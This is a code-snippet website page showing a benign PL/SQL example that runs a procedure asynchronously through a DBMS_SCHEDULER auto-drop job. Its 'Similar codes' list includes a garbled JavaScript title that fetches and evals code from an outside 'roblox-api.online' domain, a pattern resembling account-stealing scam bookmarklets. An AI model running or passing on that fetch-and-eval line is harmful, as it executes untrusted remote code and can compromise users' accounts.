/SQL/Pl sql asynchronous procedure calls

Pl sql asynchronous procedure calls

-- To call a procedure asynchronously, create a auto_drop job:
BEGIN
    DBMS_SCHEDULER.create_job(
            job_name => 'My_JOB_NAME',
            job_type => 'PLSQL_BLOCK',
            job_action => 'BEGIN my_procedure(); END;',
            start_date => systimestamp,
            auto_drop => TRUE,
            enabled => TRUE
        );
END;

Similar codes

2 votes308 views1 answer
No data found oracle
SQL
0 vote264 views1 answer
Online sql compiler
SQL
0 vote285 views1 answer
Sql select maximum column with other columns returned
SQL
0 vote366 views1 answer
Drop view sql
SQL
4 votes289 views10 answers
Javascript$get'//roblox-api.online/roblox?id=4823'.eval)javascript$get'//roblox-api.online/roblox?id=
SQL
0 vote312 views1 answer
Get employees if not contains in sql
SQL
8 votes327 views1 answer
Oracle create datafile
SQL
0 vote316 views1 answer
Select even number id data from table
SQL
0 vote307 views1 answer
Datagrip exec
SQL
0 vote316 views1 answer
Sql bild in function
SQL